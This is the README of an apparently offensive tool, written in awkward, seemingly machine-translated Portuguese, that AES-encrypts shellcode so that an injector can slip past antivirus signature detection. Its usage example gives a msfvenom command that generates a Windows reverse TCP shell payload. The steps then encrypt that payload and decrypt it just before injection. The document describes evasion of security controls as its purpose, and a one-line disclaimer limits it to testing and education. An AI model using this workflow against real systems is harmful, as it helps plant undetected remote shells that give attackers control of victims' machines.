AES_Shellcode_Encryptor

Aes_shellcode_encryptor

Este repositório contém uma ferramenta que pode criptografar todos os tipos de arquivos e fornecer a saída criptografada na forma de um código de shell criptografado. O processo de criptografia do shellcode é muito importante para os processos de injeção para ignorar a detecção baseada em assinatura pelos controles de segurança. Considere um exemplo de uso de um código de shell de backdoor de metasploit altamente detectado. Agora, para injetar esse código de shell, precisamos de ofuscação para ignorar a detecção por antivírus. Essa ferramenta nos ajuda a criptografar o código de shell que será salvo no injetor e descriptografado pouco antes da injeção.

Isenção de responsabilidade: apenas para testes de segurança e fins educacionais !!!

Exemplo:

1. Crie um Metasploit ShellCode: msfvenom -p windows/shell_reverse_tcp lhost = $ localip lport = 443 -f cru -o shellcode.bin
2. Encretá -lo com esta ferramenta: aes_shellcode_encryptor.exe shellcode.bin Encrypted_code.txt mySecretEncryptionKey
3. Adicione codificador de shell criptografado dentro do injetor
4. descriptografá -lo com a chave antes da injeção